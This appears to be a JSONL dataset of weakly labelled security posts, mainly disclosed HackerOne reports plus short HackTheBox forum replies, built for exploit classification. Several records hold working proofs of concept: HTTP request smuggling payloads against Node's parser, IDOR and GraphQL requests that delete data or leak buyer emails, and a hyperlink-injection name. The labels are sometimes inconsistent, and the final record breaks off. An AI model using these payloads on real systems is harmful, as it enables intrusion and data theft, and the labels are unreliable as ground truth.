-{"id": "ab41e4393dc46a4b6ee4", "text": "[HTTP Request Smuggling] HTTP Request Smuggling via Empty headers separated by CR\n\n**Summary:** \nThe `llhttp` parser in the http module in Node v20.2.0 does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).\n\n**Description:** \nThe CR character (without LF) is sufficient to delimit HTTP header fields in the llhttp parser. According to RFC7230 section 3, only the CRLF sequence should delimit each header-field.\n\n## Steps To Reproduce:\n\n*Server:*\n\n```javascript\nconst http = require(\"http\");\n\nhttp\n  .createServer((request, response) => {\n    let body = [];\n    request\n      .on(\"error\", (err) => {\n        response.end(\"Request Error: \" + err);\n      })\n      .on(\"data\", (chunk) => {\n        body.push(chunk);\n      })\n      .on(\"end\", () => {\n        body = Buffer.concat(body).toString();\n\n        // log the body to stdout to catch the smuggled request\n        console.log(\"Response\");\n        console.log(request.headers);\n        console.log(body);\n        console.log(\"---\");\n\n        response.on(\"error\", (err) => {\n          // log the body to stdout to catch the smuggled request\n          response.end(\"Response Error: \" + err);\n        });\n\n        response.end(\n          \"Body length: \" + body.length.toString() + \" Body: \" + body\n        );\n      });\n  })\n  .listen(5000);\n```\n\n*Payload:*\n\n1. Execute the below command.\n```shell\nprintf \"POST / HTTP/1.1\\r\\n\"\\\n             \"Host: localhost:5000\\r\\n\"\\\n             \"X-Abc:\\rxTransfer-Encoding: chunked\\r\\n\"\\\n             \"\\r\\n\"\\\n             \"1\\r\\n\"\\\n             \"A\\r\\n\"\\\n             \"0\\r\\n\"\\\n             \"\\r\\n\" | nc localhost 5000\n```\n\n2. Note that the value of `X-Abc` header in the request is - `[\\r]xTransfer-Encoding: chunked[\\r\\n]`\n3. The llhttp library parses this as a `Transfer-Encoding: chunked` header.\n```\nResponse\n{ host: 'localhost:5000', 'x-abc': '', 'transfer-encoding': 'chunked' }\nA\n---\n```\n\n*Note:*\n1. The next character to `\\r` is missing in the parsed header name.\n2.  This test case is missing from https://github.com/nodejs/llhttp/blob/main/test/request/invalid.md.\n\nA frontend proxy that does not consider `\\r` as termination of an HTTP header value, could forward this to a backend, causing an HRS. \n\n## Supporting Material/References:\n\nThis report is similar to:\n  * https://hackerone.com/reports/1888760\n\n## Impact\n\nHTTP Request Smuggling can lead to access control bypass.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2de2a8138a4809ecaeb6", "text": "[Cross-site Scripting (XSS) - Stored] EC2 Takeover at turn.shopify.com\n\n**Summary**\nHi team,\nIt seems that the domain **turn.shopify.com** pointed to an EC2 instance that was terminated and the DNS record wasn't updated. We managed to register a new EC2 instance with the IP that **turn.shopify.com** points to:\n\n**Command**\n```\ndig turn.shopify.com\n; <<>> DiG 9.11.3-1ubuntu1.13-Ubuntu <<>> turn.shopify.com\n;; global options: +cmd\n;; Got answer:\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5523\n;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1\n\n;; OPT PSEUDOSECTION:\n; EDNS: version: 0, flags:; udp: 65494\n;; QUESTION SECTION:\n;turn.shopify.com.\t\tIN\tA\n\n;; ANSWER SECTION:\nturn.shopify.com.\t3600\tIN\tA\t54.90.1.144\n\n;; Query time: 17 msec\n;; SERVER: 127.0.0.53#53(127.0.0.53)\n;; WHEN: Mon Aug 09 10:41:14 CEST 2021\n;; MSG SIZE  rcvd: 61\n```\n\n**URL**\n``http://turn.shopify.com/0xd0m7``\n\n**POC**\n{F1404895}\n\nSaved at:\n``https://archive.ph/4ro3x``\n\n## Impact\n\nAn EC2 takeover has the same impact as a subdomain takeover, instead of having a dangling CNAME there is a dangling A record. With it we are able to:\nServe phishing pages which are bound to be trusted, since there is no way of finding out that we are the owners. Besides, we could also get an SSL certificate to serve the content via HTTPS. For demonstration purposes we have only opened port 80.\nStored XSS and DoS, as shown in the PoC.\nPrivilege escalation: we will be checking upon submission of the report, it could be possible to use an XSS to exfiltrate personal information or take over accounts. A comment will be added if this is the case.\nSSH sniffing: it'd be possible to open ports and install different services on the machine, amongst them an ssh or ftp server to capture credentials.\nMalware distribution.\nAnd many more, basically everything since we now have control over one of your domains.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3e2beb87cbb7e7efbc4a", "text": "[Phishing] Targeted phishing attacks in Login flow v2\n\nThe login flow v2 is used by the desktop client.\n\nThe attack vector assumes the attacker knows the recipient somehow and knows their username and email (or other way to contact them).\n\nIn short it is following the steps from https://docs.nextcloud.com/server/21/developer_manual/client_apis/LoginFlow/index.html#login-flow-v2\n(examples are also taken from there)\n\n1. Attacker send a request to: curl -X POST https://cloud.example.com/index.php/login/v2\n   They can even set the user agent to something that the user will trust. Like 'Company X verification', 'or just dekstop client' or whatever.\n\n2. Attacker obtains the response like\n\n{\n    \"poll\":{\n        \"token\":\"mQUYQdffOSAMJYtm8pVpkOsVqXt5hglnuSpO5EMbgJMNEPFGaiDe8OUjvrJ2WcYcBSLgqynu9jaPFvZHMl83ybMvp6aDIDARjTFIBpRWod6p32fL9LIpIStvc6k8Wrs1\",\n        \"endpoint\":\"https:\\/\\/cloud.example.com\\/login\\/v2\\/poll\"\n    },\n    \"login\":\"https:\\/\\/cloud.example.com\\/login\\/v2\\/flow\\/guyjGtcKPTKCi4epIRIupIexgJ8wNInMFSfHabACRPZUkmEaWZSM54bFkFuzWksbps7jmTFQjeskLpyJXyhpHlgK8sZBn9HXLXjohIx5iXgJKdOkkZTYCzUWHlsg3YFg\"\n}\n\n3. Now the attacker send the login URL to the victim.\n4. The victim logs in, granting the attacker an access token to access all their data.\n\nThe login URL seems to only be valid for 10 minutes. However this is still a 10 minute window the user can be attacked.\nThe attacker could even setup a url that when clicked on will perform the steps in the background and then redirecting them. Making sure the token is always valid.\n\nThe issue here is that there is no warning for the victim that what they are about to do is potentially giving an attacker access to their data. And they can do all the checks when they are on the auth page but it is actually the legit page of their Nextcloud instance.\n\nI'd suggest to work with some verification.For example. Show a 2 digit code (or as many digits as you are comfortable with) and have that be entered in the desktop client screen. That way the attacker has to time it right and be very lucky. Making the attack a lot less likely. As the victim would also notice 'what do you mean I have to enter a code on my device?'\n\n## Impact\n\nPossible granting of access token to the attacker. Resulting in access to all data of a victim.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dcb943d95e1f4c5bf271", "text": "[Insecure Direct Object Reference (IDOR)] IDOR on ███████ [HtUS]\n\nHello,\nI have found an endpoint in ███ is vulnerable to IDOR which leads an attacker to brute-force an delete Companies\n\nSteps to reproduce:\n\n1. Nevgaite to https://███████/████/Reception/Vendor and create account\n2. Once you created an account go to https://████/████/Vendor/Companies\n3. Regsiter a new company and fill up the form\n4. Go back to the coampy page\n5. you will see delete button click on it and make sure your burp suite is on in the background\n6. You will see the following request\n7. Change the last ID to any id and forward the request\n\nGET /██████/Vendor/Companies/Delete/71712 HTTP/1.1\nHost: ██████████\nCookie: .AspNetCore.Antiforgery.wZhPOrJ1UhI=CfDJ8MjAkyuL42ZLvTS4QqhXIjcDfSsIAOTqNw3dZo7qYbVzZnw8UQEQCf3hh23v5DGfiTHk6RPBj78d2yWeZSN20treUhl3TWr-1iRZOXSdLEIcB0Q-4g__L40JFV9QUfNFSjfOBJge4W9QDQLC73_QuBU; .AspNetCore.Mvc.CookieTempDataProvider=CfDJ8MjAkyuL42ZLvTS4QqhXIjdAocqm48zYIvTJWNKWyoyFlusz3T2dhYqL1474uivQT9BFajY3Fkt507twZdX1k8QgApfwX3BSGw20PBIsVj7SS-6jl0wmOPaE6t_UKsrjYZKu8ky-IDSml2MEvCT4ep9Sti2DJ1eXue7V3RbxhUrZuxraUlMmB4LHYy_dUbCB8N4pmmQW4IY5MXvpK3_3wb4; .AspNetAuth=CfDJ8MjAkyuL42ZLvTS4QqhXIje31_l_350wZ7JvbGgNdyQqyIfdUILQ7jE5dbdP8eKXY7FR06RxRWeUb548XmS03ZuIqH8ZshikVOdOm0rPGh2i1vSTIdxijSIuV6VbsE6pAK4ULe46jo0L9L5C2QL2gMnNbN7SWDcyhMylwHW4ZQirWTu3jTAqZcMrsMPReO1EAO4ey6cwHHgzO8Z1otRJrSCRsr-4ncOirQQyfDiulSAFm3srtWPcSRsy4tmv_7J2_Ra8vTyRZ146PvgCjXO0CaevtF6QSW41Gh5AycJ9GO4uoVkgIopdHHuXk8WMZx-lzA; ASP.NET_SessionId=pklok0cmwkw155fz2qihhuof; CSRF-TOKEN=CfDJ8MjAkyuL42ZLvTS4QqhXIjc4RkI6tGtAePHe0ChJXV8mHztZTjfBLYSr4Rosah2ZcjzZJHzPkJW-mgQadn6kRMdPYmvc6dS_eLCcg2Ds2sQxg4spttICndggqjzv0fdWJOotEnIJtHqSWUE8knNuMK4; .AspNetCore.Session=CfDJ8MjAkyuL42ZLvTS4QqhXIjc4G3A8xAtZ%2BpqcbCXYKgoRuTDdMZ2gEwK9U21D8bYrwu05ry0HgQI4szG5LJTcggrXqQyNsecWIUhCpfpq2Xo3b%2BAlMj9IhrPxE0yJ3VuYHcftrXnDA%2F3asi6SHe1sZbFuLX1Nbz6Tvmchqu30vE1b\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://████████/██████████/Vendor/Companies\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nTe: trailers\nConnection: close\n\n## Impact\n\nAn attacker can delete all companies", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1a42e6d3177c0d936de9", "text": "[HTTP Request Smuggling] CVE-2022-32213 bypass via obs-fold mechanic\n\n## Summary\nThe fix for CVE-2022-32213 can be bypass using an obs-fold, which Node's http parser supports\n\n## Proof-Of-Concept\n`````\nconst http = require('http');\n\nhttp.createServer((request, response) => {\n  let body = [];\n  request.on('error', (err) => {\n    response.end(\"error while reading body: \" + err)\n}).on('data', (chunk) => {\n    body.push(chunk);\n}).on('end', () => {\n    body = Buffer.concat(body).toString();\n\n    response.on('error', (err) => {\n        response.end(\"error while sending response: \" + err)\n    });\n\n    response.end(\"Headers: \" + JSON.stringify(request.headers));\n  });\n}).listen(5000);\n\n`````\nSend the obs-fold via curl\n`````\ncurl -vv -H $'Transfer-Encoding: chunked\\r\\n abc' --data \"A\" http://127.0.0.1:5000\n`````\nSee that the server accepted the chunked request, and will incorrectly fold abc to the value of the Transfer-Encoding header. This is seen in the value of \"transfer-encoding\" as \"chunked abc\" in the printed headers.\n`````\nHeaders: {\"host\":\"127.0.0.1:5000\",\"user-agent\":\"curl/7.83.1\",\"accept\":\"*/*\",\"transfer-encoding\":\"chunked abc\",\"content-type\":\"application/x-www-form-urlencoded\"}\n`````\n\n## Impact\n\nIf nodejs HTTP module is used as a proxy, then it incorrectly parses the transfer-encoding header as indicative of chunked request, while folding the headers and hence forwarding `Transfer-Encoding: chunked abc` which is not a valid transfer-encoding header to the downstream server. As such this can lead to the  HTTP request smuggling as indicated by CVE-2022-32213.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-32213"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "76a49c18e8959fe45119", "text": "[Insecure Direct Object Reference (IDOR)] IDOR vulnerability in unreleased HackerOne Copilot feature\n\n**Summary:**\nHello HackerOne security team :-)\nFor a while now I have been monitoring H1 js files. I've just noticed some new GraphQL queries about `HackerOne Copilot`. While this feature has not yet been released, the vulnerability must be fixed.\n`DestroyLlmConversation` GraphQL mutation is vulnerable to IDOR.\n\n### Steps To Reproduce\n1. Navigate to `https://hackerone.com/opportunities/all`\n2. Execute this JS command to show `Hackerone Copilot` GUI\n```javascript\ndocument.querySelectorAll('div').forEach(e => {\n    e.classList.remove('hidden');\n    e.classList.remove('dark:text-white');\n});\n```\n{F2790650}\n3. Hackerone Copilot GUI will appear, here you can create a new conversation. Looks like you can't talk to LLM at the moment.\n4. After creating a new conversation, look for `\"operationName\":\"NewConversation\",` graphql request in your `Proxy History` and store somewhere the value of `data.newConversation.llm_conversation.id` from the response.\n5. From the second (attacker) account, send the following graphql request:\n```json\n{\"operationName\":\"DestroyLlmConversation\",\"variables\":{\"llmConversationId\":\"#\"},\"query\":\"\\n  mutation DestroyLlmConversation($llmConversationId: ID!) {\\n    destroyConversation(input: { llm_conversation_id: $llmConversationId }) {\\n      destroyed\\n    }\\n  }\\n\"}\n```\n6. Go back to the victim account, refresh the page, execute the script again, and notice that the conversation is gone.\n\n## Impact\n\nThis vulnerability allows the attacker to remove any LLM conversation in the unreleased `HackerOne Copilot` feature. This feature has not been released yet although this might still be vulnerable in the future when this feature is released.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4ba766e78f505d30750d", "text": "[Information Disclosure] HackerOne Undisclosed Report Leak via PoC of Full Disclosure on Hacktivity\n\n**Summary:**\n\nHi Team,\n\nHackerOne is very sensitive when it comes to HackerOne report data such as `report title`,`severity`,`program` etc. H1 will not share those private data base on the HackerOne privacy policy.\n\nRecently, HackerOne disclosed this report #1540969 [Race condition in joining CTF group](https://hackerone.com/reports/1540969) submitted by @zeyu2001 but the video PoC by the researcher was not redacted, the video contains undisclosed report reported by @zeyu2001 to other program like __██████__ and __███__ , this is both mistak by the researcher and HackerOne.\n\nResearcher leak his own undisclosed report to PoC which is not related the #1540969 , and HackerOne did not redacted it before disclosure, resulting in disclosing sensitive information like `report title`.\n\n### Steps To Reproduce\n\n1. Go to this fully disclosed report: https://hackerone.com/reports/1540969\n2. Check this comment when report participant named @osman1337 completed the retest: https://hackerone.com/reports/1540969#activity-16794287\n3. Observed that there is video PoC named `poc-h1.mp4`\n4. Watch the video PoC carefully and 3 undisclosed reports unrelated to the submission was leaked on the video poc.\n5. See screenshot below for my proof\n\n█████████\n\n__The screenshot was taken from the video PoC, I can directly comment that the below undisclosed report was leaked__\n\nReport ID: #1570556 \nReport Title: ████\nSeverity: Medium\nReported to: ████ (I believe this program is private because I can't see that in public directory)\n\nReport ID: #1576582 \nReport Title: ██████████\nSeverity: Medium\nReported to: ███████\n\nReport ID: #1576582 \nReport Title: ██████\nSeverity: High\nReported to: ████\n\n## Impact\n\nSensitive report data leak such as report title, severity. program, report id.\n\nThis is a clear violation of HackerOne data privacy for customers.\n\n## Mitigation:\n\nAlways review sensitive information before full disclosure to not disclosed other report data that was unrelated to the submission.\n\nLet me know if you need more information.\n\nRegards\n@syjane", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "94a920e9207ad2f83262", "text": "In my case i didn’t use the && because it is interpreted as the GET request parameter. I recommend you try to bypass with another character.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "204800e2e9fa243f8d61", "text": "Hello, 1.) Regarding the penultimate question: Name is Harry Potter. Generate a Username List (Username Generator) and a Pass List with CUPP (see Akiraowen’s post above!), RegEx it and that should work. 2.) However for the very last question: There is a second (SSH-) user account, G.Potter. We are supposed to brute force on the victim machine using the provided RockYou-30 wordlist. This won’t work and I have no idea what else could be tried.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b6342bb7d3f75d11d966", "text": "Who has experience with Bloodhound?\n\nG’Day, Hackersploit Community! I’m a cybersecurity researcher conducting a study on the use of Bloodhound in penetration testing, red teaming, and offensive cyber operations. Your expertise could provide invaluable insights into these practices. Who I’m Looking For: Individuals with hands-on experience using Bloodhound. Those willing to share their insights. What’s In It For You: An opportunity to contribute to a study that aims to enhance deployment of cybersecurity deception tools. acknowledgment in research publications (username or real name as preferred) How to Participate: Please reach out via andrew.reeves@adelaide.edu.au if you’re interested or have any questions. Participation involves up to 1 hour of preparation time (familiarising yourself with a provided bloodhound map) and a short (30 minute) interview with the researcher. You can opt to complete a short survey instead of the interview if preferred. Your expertise is greatly appreciated and will help shape the deployment of new cyber deception tools. Thank you! Andrew", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2023-12-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fb7b61d745c7040d8d15", "text": "[Improper Input Validation] Hyper Link Injection while signup\n\n## Summary:\nAttacker can add their name to a URL in order to send email  containing malicious hyperlinks. while signup  \n\n## Steps To Reproduce:\n1-Go to https://app.upchieve.org and create account  with the first name ```http://attacker.com/ ``` and last name .\n2-Now check  your email  and you notice there is malicious hyperlinks.\n█████████\n\n## Supporting Material/References:\n\n█████\n\n## Recommendations for Fixing/Mitigation\n Validate users input\n\n## Impact\n\nThis permits users to send malicious/phishing links to potential clients. It could also have an effect on how spam filters treat ```app.upchieve.org``` emails.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c5a90e5260d0cc5b9555", "text": "The task is to find a suitable list. Have a look at the page title. Can you find a vendor there? You have to bruteforce absolutely nothing", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fd0ec4a4ba17b45f392d", "text": "[Privilege Escalation] [h1-2102] [Plus] User with Store Management Permission can Make convertUsersFromSaml/convertUsersToSaml - that should be limited to User Management\n\n## Summary:\n[Plus] User with Store Management Permission can Make convertUsersFromSaml/convertUsersToSaml - that should be limited to User Management Only\n\n## Description:\nUser with `Store management` permission - {F1168487} only, is able to convert users account from SAML and to SAML using the graphql\n\n## Impact\nThis could potentially disable the user's ability to login by unlinking their account with SAML identity provider, or by linking their account with SAML identity provider, because maybe there isn't a valid account for that victim\n\n## Steps To Reproduce:\n- As an org plus admin, visit https://shopify.plus/:org_plus_id/users/invite and invite an user to have `store management permission` - (The purpose is to enable the low-privileged user to have access to https://shopify.plus/:plus_org_id/stores/api\n- Login as the low-priviledged user, and visit shopify.plus and click around until you made a valid graphql call to shopify.plus, it looks something like this `POST /34946971/stores/api HTTP/1.1`\n- Make this call to figure our your domain user's ID\n\n```http\nPOST /34946971/users/api HTTP/1.1\nHost: shopify.plus\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\n...\n\n{\"operationName\":\"GetAllUserIds\",\"variables\":{},\"query\":\"query GetAllUserIds {\\n  organization {\\n    id\\n    users {\\n      edges {\\n        node {\\n          id\\n   email       __typename\\n        }\\n        __typename\\n      }\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"}\n```\n\n- Make this call to show that you can perform `convertUsersFromSaml` or `convertUsersToSaml` as a low privileged user by replacing `REPLACE_ME` with one of the user id you got from above steps\n\n```\nPOST /34946971/stores/api HTTP/1.1\nHost: shopify.plus\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0\nAccept: application/json\n...\n\n{\"query\":\"mutation{convertUsersFromSaml(organizationUserIds:[\\\"REPLACE_ME\\\"]){userErrors{message}}}\"}\n```\n\nor \n\n```\nPOST /34946971/stores/api HTTP/1.1\nHost: shopify.plus\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0\nAccept: application/json\n...\n\n{\"query\":\"mutation{convertUsersToSaml(userIds:[\\\"REPLACE_ME\\\"]){userErrors{message}}}\"}\n```\n\n\nYou may see this in the response for above two requests\n\n`{\"data\":{\"convertUsersToSaml\":{\"userErrors\":[{\"message\":\"Make sure the SAML authentication setting is set to specific users.\"}]}}}`\n\nor \n\n`{\"data\":{\"convertUsersFromSaml\":{\"userErrors\":[{\"message\":\"User is already an Identity user: abdulwahaab.ahmed@shopify.com\"}]}}}`\n\nIt is fine, it just means the lower-privileged user has the permission to perform such actions. It would require additional SAML configuration for the org plus admin for it to fully work\n\n## Impact\n\nBut I think this is enough to show that, user with `Store Management` permission level is able to perform two restricted GRaphql call, `convertUsersFromSaml` and `convertUsersToSaml`", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3946be1a00ce6a23a7d7", "text": "Can you show the syntax that you usted to get the flag? To know what and why you’re stuck. If you’re doing something wrong. For the last, do you upload the right payload in the “404.php” on theme editor? Feel free to DM me.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "39448f1fc3ab6a322656", "text": "[Insecure Direct Object Reference (IDOR)] IDOR: leak buyer info & Publish/Hide foreign comments\n\nHI @judgeme!\nI noticed that the attacker can learn email users who left feedback at the time of buying.\n\nStep to reproduce:\n\n1. Login to our store and install your 'Checkout Comments' addon\n2. Make fake order in or store and write a comment\n\n███\n\n3. Then go to our Shopify `/admin/apps/checkout-comments/extensions/checkout_comments/comments`\n4. Publish our comment and Intercept request with burp. Send request to Repeater. Request example:\n\nPOST /extensions/checkout_comments/curate_comment HTTP/1.1\nHost: judge.me\nCookie: _judgeme_session=████████████████; _ga=GA1.2.1935027813.1637882690; _gid=GA1.2.2043288340.1637882690; _fbp=fb.1.1637882690590.2069272048; _gat_UA-28424713-2=1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://judge.me/extensions/checkout_comments/comments?platform=shopify&shop_domain=test-hackerone-glis.myshopify.com&page=3&offset=50\nX-Csrf-Token: ████==\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 23\nOrigin: https://judge.me\nTe: trailers\nConnection: close\n\ncomment_id=1&curated=ok\n\n\n\n5. Edit `comment_id=random_id` and in Response we can see buyer information (for example):\n\n\n`{\"comment\":{\"id\":1,\"content\":\"classic dress watch for weddings\",\"created_at\":\"over 3 years ago\",\"product\":{\"title\":\"Dress Watch\",\"url\":\"https://████.myshopify.com/products/dress-watch\"},\"buyer\":{\"name\":\"F F\",\"email\":\"██████████@gmail.com\"},\"published_status\":true,\"published_status_text\":\"Published\",\"curated\":\"ok\"}}`\n\n\n██████\n\n\n\nVideo POC:\n\n\n\n██████\n\n## Impact\n\nBuyer information leaks and other", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6dd0c4b8a598792a4276", "text": "Here is the original syntax from HTB on the “find files and directories” page. find / -type f -name *.conf -user root -size +20k -newermt 2020-03-03 -exec ls -al {} \\; 2>/dev/null So start breaking it down. Do you need a -user since you are already logged in? no. Scratch that. Now we have this. find / -type f -name *.conf -size +20k -newermt 2020-03-03 -exec ls -al {} \\; 2>/dev/null Does the question ask for size of the files? No. Scratch that and now we have this. find / -type f -name *.conf -newermt 2020-03-03 -exec ls -al {} \\; 2>/dev/null Does the question ask for a date for the file? No. Scratch that. And now we have this. find / -type f -name *.conf -exec ls -al {} \\; 2>/dev/null Does the question ask for a .conf file? No it asks for a log file. Scratch and edit. And now we have this. find / -type f -name *.log -exec ls -al {} \\; 2>/dev/null I did not get a number to count. But I do know how to add the results. Or, be goofy and copy and paste into excel to get your number. I did notice that a lot of comments had things like \"\" in their syntax and added a few flags outside of the original syntax. Although its awesome to be creative and in fact some of those syntax add-ons may work elsewhere, just remember that HTB is not trying to throw you for a loop. If its not in the Modules then it probably wont work. Stick to whats being taught. If it aint broke, dont fix it. **ring ring** Call Center: Call cneter to fix all your computer needs, may I help you? Caller: My computer isnt working. Help! Call Center: is it plugged in? Sometimes the simplest things work best. Use the KISS method. Keep It Simple Stupid Happy Hunting.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-05-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "024ee216ec85fff74232", "text": "[Deserialization of Untrusted Data] [CVE-2023-27531] Possible Deserialization of Untrusted Data vulnerability in Kredis JSON\n\nI made a report and patch at https://hackerone.com/reports/1702859 .\n\nhttps://discuss.rubyonrails.org/t/cve-2023-27531-possible-deserialization-of-untrusted-data-vulnerability-in-kredis-json/82467\n\n> There is a deserialization of untrusted data vulnerability in the Kredis JSON deserialization code. This vulnerability has been assigned the CVE identifier CVE-2023-27531.\n\n## Impact\n\n> Carefully crafted JSON data processed by Kredis may result in deserialization of untrusted data, potentially leading to deserialization of unexpected objects in the system.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-27531"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f29e2b1879677fd5c0a3", "text": "i was in the same situation, try to read /etc/passwd/ properly, the name is there", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-05-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "26cc7e60913d414f0be4", "text": "[Insecure Direct Object Reference (IDOR)] Attacker is able to create,Edit & delete notes and leak the title of a victim's private personal snippet\n\n### Summary\n\nAn attacker is able to create new notes for a victim's private personal snippet. This attack leaks the title of the snippet on the attacker's activity page. The attacker is also able to edit/delete the note using the \"id\" value that is returned from the server after creating the comment, as they are the owner for the note.\n\nI believe this attack is achieved by utilizing https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/finders/notes_finder.rb when posting a comment within a project they control.\n\n```ruby\n  def noteables_for_type(noteable_type)\n    case noteable_type\n    when \"issue\"\n      IssuesFinder.new(@current_user, project_id: @project.id).execute # rubocop: disable CodeReuse/Finder\n    when \"merge_request\"\n      MergeRequestsFinder.new(@current_user, project_id: @project.id).execute # rubocop: disable CodeReuse/Finder\n    when \"snippet\", \"project_snippet\"\n      SnippetsFinder.new(@current_user, project: @project).execute # rubocop: disable CodeReuse/Finder\n    when \"personal_snippet\"\n      PersonalSnippet.all\n    else\n      raise \"invalid target_type '#{noteable_type}'\"\n    end\n  end\n```\nBy changing the POST parameter noteable_type from \"issue\" to \"personal_snippet\" the server doesn't perform the project check when attempting to create the note and as a result the comment is posted to the victim's personal snippet.\n\n### Steps to reproduce\n\nReproduction steps require two accounts representing an attacker and a victim\n\n#### Victim Setup:\n1. Log in and navigate to https://gitlab-instance.example.com/dashboard/snippets then click the \"New snippet\" button.\n1. Set the title of the Personal Snippet to \"Private Victim Snippet\", and supply a filename (ex. \"test-victim-file.txt\") with file contents \"test file contents\".\n1. Ensure the visibility level is set to \"Private\" and click \"Create Snippet\".\n1. Make a note of the ID for the snippet in the URL bar. We will refer to this value as VICTIM_SNIPPETID. The attacker will need it in their steps.\n\n#### Attacker Setup and Create New Note on Personal Snippet:\n1. Log in to GitLab and navigate to https://gitlab-instance.example.com/dashboard/projects and create a new private project for the attack (I named mine \"PrivateAttackerProject\").\n1. Create a new issue (I created an issue with title \"Attacker Issue\").\n1. Open up the issue that was just created (ie. https://gitlab-instance.example.com/attacker/privateattackerproject/-/issues/1).\n1. Scroll down to \"Activity\" and create a new note. I used the text `@attacker was here`.\n1. Prepare BurpSuite to intercept the request and then click \"Comment\". We want the request that looks like `/attacker/privateattackerproject/notes?target_id=6&target_type=issue` with post body looking like `{\"note\":{\"noteable_type\":\"Issue\",\"noteable_id\":6,\"internal\":false,\"note\":\"@attacker was here\"}}`.\n1. Send the intercepted POST request to Burp Repeater for easier testing.\n1. Update target_type in the target resource from `target_type=issue` to `target_type=personal_snippet`.\n1. Set the target_id in the target resource from `target_id=6` to `target_id=VICTIM_SNIPPETID` (Replacing VICTIM_SNIPPETID with the id that was generated for the victim).\n1. The POST request should now look similar to `POST /attacker/privateattackerproject/notes?target_id=VICTIM_SNIPPETID&target_type=personal_snippet 